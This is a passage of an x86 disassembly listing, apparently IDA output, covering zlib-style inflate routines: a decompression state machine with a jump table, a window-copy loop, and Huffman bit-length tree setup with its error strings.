eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C6761: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70D9o mov ecx, [ebp+var_10] mov edx, [ecx+8] mov [ebp+var_20], edx loc_4C676A: ; CODE XREF: sub_4C63A5+46Aj mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_4C6814 cmp [ebp+var_2C], 0 jz short loc_4C6785 mov [ebp+arg_8], 0 jmp short loc_4C67E0 ; --------------------------------------------------------------------------- loc_4C6785: ; CODE XREF: sub_4C63A5+3D5j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C67E0: ; CODE XREF: sub_4C63A5+3DEj mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_4C676A ; --------------------------------------------------------------------------- loc_4C6814: ; CODE XREF: sub_4C63A5+3CBj mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4EF200[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+4] add ecx, edx mov edx, [ebp+var_10] mov [edx+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_10] xor eax, eax mov al, [edx+11h] mov ecx, [ebp+var_10] mov [ecx+0Ch], eax mov edx, [ebp+var_10] mov eax, [ebp+var_10] mov ecx, [eax+18h] mov [edx+8], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 3 loc_4C6866: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70DDo mov eax, [ebp+var_10] mov ecx, [eax+0Ch] mov [ebp+var_20], ecx loc_4C686F: ; CODE XREF: sub_4C63A5+56Fj mov edx, [ebp+var_24] cmp edx, [ebp+var_20] jnb loc_4C6919 cmp [ebp+var_2C], 0 jz short loc_4C688A mov [ebp+arg_8], 0 jmp short loc_4C68E5 ; --------------------------------------------------------------------------- loc_4C688A: ; CODE XREF: sub_4C63A5+4DAj mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C68E5: ; CODE XREF: sub_4C63A5+4E3j mov eax, [ebp+var_2C] sub eax, 1 mov [ebp+var_2C], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_24] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_24] add edx, 8 mov [ebp+var_24], edx jmp loc_4C686F ; --------------------------------------------------------------------------- loc_4C6919: ; CODE XREF: sub_4C63A5+4D0j mov eax, [ebp+var_20] mov ecx, [ebp+var_C] and ecx, dword_4EF200[eax*4] mov edx, [ebp+var_10] mov eax, [edx+8] lea ecx, [eax+ecx*8] mov [ebp+var_14], ecx mov edx, [ebp+var_14] xor eax, eax mov al, [edx+1] mov ecx, eax mov edx, [ebp+var_C] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax+1] mov edx, [ebp+var_24] sub edx, ecx mov [ebp+var_24], edx mov eax, [ebp+var_14] xor ecx, ecx mov cl, [eax] mov [ebp+var_18], ecx mov edx, [ebp+var_18] and edx, 10h test edx, edx jz short loc_4C698E mov eax, [ebp+var_18] and eax, 0Fh mov ecx, [ebp+var_10] mov [ecx+8], eax mov edx, [ebp+var_10] mov eax, [ebp+var_14] mov ecx, [eax+4] mov [edx+0Ch], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 4 jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C698E: ; CODE XREF: sub_4C63A5+5C1j mov eax, [ebp+var_18] and eax, 40h test eax, eax jnz short loc_4C69B8 mov ecx, [ebp+var_10] mov edx, [ebp+var_18] mov [ecx+0Ch], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] lea eax, [edx+ecx*8] mov ecx, [ebp+var_10] mov [ecx+8], eax jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C69B8: ; CODE XREF: sub_4C63A5+5F1j mov edx, [ebp+var_10] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance code" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C6A2D: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70E1o mov ecx, [ebp+var_10] mov edx, [ecx+8] mov [ebp+var_20], edx loc_4C6A36: ; CODE XREF: sub_4C63A5+736j mov eax, [ebp+var_24] cmp eax, [ebp+var_20] jnb loc_4C6AE0 cmp [ebp+var_2C], 0 jz short loc_4C6A51 mov [ebp+arg_8], 0 jmp short loc_4C6AAC ; --------------------------------------------------------------------------- loc_4C6A51: ; CODE XREF: sub_4C63A5+6A1j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C6AAC: ; CODE XREF: sub_4C63A5+6AAj mov ecx, [ebp+var_2C] sub ecx, 1 mov [ebp+var_2C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_24] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax jmp loc_4C6A36 ; --------------------------------------------------------------------------- loc_4C6AE0: ; CODE XREF: sub_4C63A5+697j mov ecx, [ebp+var_20] mov edx, [ebp+var_C] and edx, dword_4EF200[ecx*4] mov eax, [ebp+var_10] mov ecx, [eax+0Ch] add ecx, edx mov edx, [ebp+var_10] mov [edx+0Ch], ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx mov edx, [ebp+var_10] mov dword ptr [edx], 5 loc_4C6B18: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70E5o mov eax, [ebp+var_10] mov ecx, [ebp+var_8] sub ecx, [eax+0Ch] mov [ebp+var_1C], ecx loc_4C6B24: ; CODE XREF: sub_4C63A5+79Ej mov edx, [ebp+arg_0] mov eax, [ebp+var_1C] cmp eax, [edx+28h] jnb short loc_4C6B45 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+2Ch] sub eax, [edx+28h] mov ecx, [ebp+var_1C] add ecx, eax mov [ebp+var_1C], ecx jmp short loc_4C6B24 ; --------------------------------------------------------------------------- loc_4C6B45: ; CODE XREF: sub_4C63A5+788j ; sub_4C63A5+968j mov edx, [ebp+var_10] cmp dword ptr [edx+4], 0 jz loc_4C6D12 cmp [ebp+var_28], 0 jnz loc_4C6CBE mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+2Ch] jnz short loc_4C6BAC mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+28h] jz short loc_4C6BAC mov edx, [ebp+arg_0] mov eax, [edx+28h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_4C6B9A mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_3C], ecx jmp short loc_4C6BA6 ; --------------------------------------------------------------------------- loc_4C6B9A: ; CODE XREF: sub_4C63A5+7E2j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_3C], eax loc_4C6BA6: ; CODE XREF: sub_4C63A5+7F3j mov ecx, [ebp+var_3C] mov [ebp+var_28], ecx loc_4C6BAC: ; CODE XREF: sub_4C63A5+7C0j ; sub_4C63A5+7CEj cmp [ebp+var_28], 0 jnz loc_4C6CBE mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch mov [ebp+arg_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_4C6BFB mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_40], eax jmp short loc_4C6C07 ; --------------------------------------------------------------------------- loc_4C6BFB: ; CODE XREF: sub_4C63A5+843j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_40], edx loc_4C6C07: ; CODE XREF: sub_4C63A5+854j mov eax, [ebp+var_40] mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_4C6C5D mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_4C6C5D mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_4C6C4B mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_44], edx jmp short loc_4C6C57 ; --------------------------------------------------------------------------- loc_4C6C4B: ; CODE XREF: sub_4C63A5+893j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_44], ecx loc_4C6C57: ; CODE XREF: sub_4C63A5+8A4j mov edx, [ebp+var_44] mov [ebp+var_28], edx loc_4C6C5D: ; CODE XREF: sub_4C63A5+871j ; sub_4C63A5+87Fj cmp [ebp+var_28], 0 jnz short loc_4C6CBE mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_24] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_2C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C6CBE: ; CODE XREF: sub_4C63A5+7B1j ; sub_4C63A5+80Bj ... mov [ebp+arg_8], 0 mov eax, [ebp+var_8] mov ecx, [ebp+var_1C] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_28] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_1C] cmp ecx, [eax+2Ch] jnz short loc_4C6CFE mov edx, [ebp+arg_0] mov eax, [edx+28h] mov [ebp+var_1C], eax loc_4C6CFE: ; CODE XREF: sub_4C63A5+94Ej mov ecx, [ebp+var_10] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_10] mov [eax+4], edx jmp loc_4C6B45 ; --------------------------------------------------------------------------- loc_4C6D12: ; CODE XREF: sub_4C63A5+7A7j mov ecx, [ebp+var_10] mov dword ptr [ecx], 0 jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C6D20: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70E9o cmp [ebp+var_28], 0 jnz loc_4C6E8C mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+2Ch] jnz short loc_4C6D7A mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+28h] jz short loc_4C6D7A mov ecx, [ebp+arg_0] mov edx, [ecx+28h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_4C6D68 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_48], eax jmp short loc_4C6D74 ; --------------------------------------------------------------------------- loc_4C6D68: ; CODE XREF: sub_4C63A5+9B0j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_48], edx loc_4C6D74: ; CODE XREF: sub_4C63A5+9C1j mov eax, [ebp+var_48] mov [ebp+var_28], eax loc_4C6D7A: ; CODE XREF: sub_4C63A5+98Ej ; sub_4C63A5+99Cj cmp [ebp+var_28], 0 jnz loc_4C6E8C mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4C7C50 add esp, 0Ch mov [ebp+arg_8], eax mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_4C6DC9 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_4C], edx jmp short loc_4C6DD5 ; --------------------------------------------------------------------------- loc_4C6DC9: ; CODE XREF: sub_4C63A5+A11j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_4C], ecx loc_4C6DD5: ; CODE XREF: sub_4C63A5+A22j mov edx, [ebp+var_4C] mov [ebp+var_28], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+2Ch] jnz short loc_4C6E2B mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+30h] cmp ecx, [eax+28h] jz short loc_4C6E2B mov edx, [ebp+arg_0] mov eax, [edx+28h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_4C6E19 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_50], ecx jmp short loc_4C6E25 ; --------------------------------------------------------------------------- loc_4C6E19: ; CODE XREF: sub_4C63A5+A61j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_50], eax loc_4C6E25: ; CODE XREF: sub_4C63A5+A72j mov ecx, [ebp+var_50] mov [ebp+var_28], ecx loc_4C6E2B: ; CODE XREF: sub_4C63A5+A3Fj ; sub_4C63A5+A4Dj cmp [ebp+var_28], 0 jnz short loc_4C6E8C mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C6E8C: ; CODE XREF: sub_4C63A5+97Fj ; sub_4C63A5+9D9j ... mov [ebp+arg_8], 0 mov edx, [ebp+var_8] mov eax, [ebp+var_10] mov cl, [eax+8] mov [edx], cl mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_28] sub eax, 1 mov [ebp+var_28], eax mov ecx, [ebp+var_10] mov dword ptr [ecx], 0 jmp loc_4C70C8 ; --------------------------------------------------------------------------- loc_4C6EBE: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70EDo cmp [ebp+var_24], 7 jbe short loc_4C6EDF mov edx, [ebp+var_24] sub edx, 8 mov [ebp+var_24], edx mov eax, [ebp+var_2C] add eax, 1 mov [ebp+var_2C], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4C6EDF: ; CODE XREF: sub_4C63A5+B1Dj mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch mov [ebp+arg_8], eax mov ecx, [ebp+arg_0] mov edx, [ecx+34h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_4C6F24 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_54], eax jmp short loc_4C6F30 ; --------------------------------------------------------------------------- loc_4C6F24: ; CODE XREF: sub_4C63A5+B6Cj mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_54], edx loc_4C6F30: ; CODE XREF: sub_4C63A5+B7Dj mov eax, [ebp+var_54] mov [ebp+var_28], eax mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+34h] jz short loc_4C6F9F mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_24] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C6F9F: ; CODE XREF: sub_4C63A5+B9Dj mov ecx, [ebp+var_10] mov dword ptr [ecx], 8 loc_4C6FA8: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70F1o mov [ebp+arg_8], 1 mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp loc_4C70CD ; --------------------------------------------------------------------------- loc_4C700A: ; CODE XREF: sub_4C63A5+8Bj ; DATA XREF: .text:004C70F5o mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp short loc_4C70CD ; --------------------------------------------------------------------------- loc_4C7069: ; CODE XREF: sub_4C63A5+82j mov [ebp+arg_8], 0FFFFFFFEh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_24] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C7C50 add esp, 0Ch jmp short loc_4C70CD ; --------------------------------------------------------------------------- loc_4C70C8: ; CODE XREF: sub_4C63A5+193j ; sub_4C63A5+2D0j ... jmp loc_4C640E ; --------------------------------------------------------------------------- loc_4C70CD: ; CODE XREF: sub_4C63A5+70j ; sub_4C63A5+235j ... mov esp, ebp pop ebp retn sub_4C63A5 endp ; --------------------------------------------------------------------------- off_4C70D1 dd offset loc_4C6437 ; DATA XREF: sub_4C63A5+8Br dd offset loc_4C6560 dd offset loc_4C6761 dd offset loc_4C6866 dd offset loc_4C6A2D dd offset loc_4C6B18 dd offset loc_4C6D20 dd offset loc_4C6EBE dd offset loc_4C6FA8 dd offset loc_4C700A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C70F9 proc near ; CODE XREF: sub_4C4D60+4Ep ; sub_4C4F0F+10E2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 pop ebp retn sub_4C70F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C7120 proc near ; CODE XREF: sub_4C4F0F+A6Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 push 4 push 13h mov eax, [ebp+arg_10] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_10] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4C7151 mov eax, 0FFFFFFFCh jmp short loc_4C71C4 ; --------------------------------------------------------------------------- loc_4C7151: ; CODE XREF: sub_4C7120+28j mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_8] push ecx push 0 push 0 push 13h push 13h mov edx, [ebp+arg_0] push edx call sub_4C71C8 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_4C718E mov eax, [ebp+arg_10] mov dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_4C71AD ; --------------------------------------------------------------------------- loc_4C718E: ; CODE XREF: sub_4C7120+60j cmp [ebp+var_4], 0FFFFFFFBh jz short loc_4C719C mov ecx, [ebp+arg_4] cmp dword ptr [ecx], 0 jnz short loc_4C71AD loc_4C719C: ; CODE XREF: sub_4C7120+72j mov edx, [ebp+arg_10] mov dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" mov [ebp+var_4], 0FFFFFFFDh loc_4C71AD: ; CODE XREF: sub_4C7120+6Cj ; sub_4C7120+7Aj mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_10] call dword ptr [eax+24h] add esp, 8 mov eax, [ebp+var_4] loc_4C71C4: ; CODE XREF: sub_4C7120+2Fj mov esp, ebp pop ebp retn sub_4C7120 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C71C8 proc near ; CODE XREF: sub_4C7120+51p ; sub_4C7A96+62p ... var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_54 = dword ptr -54h var_50 = byte ptr -50h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_54] mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, 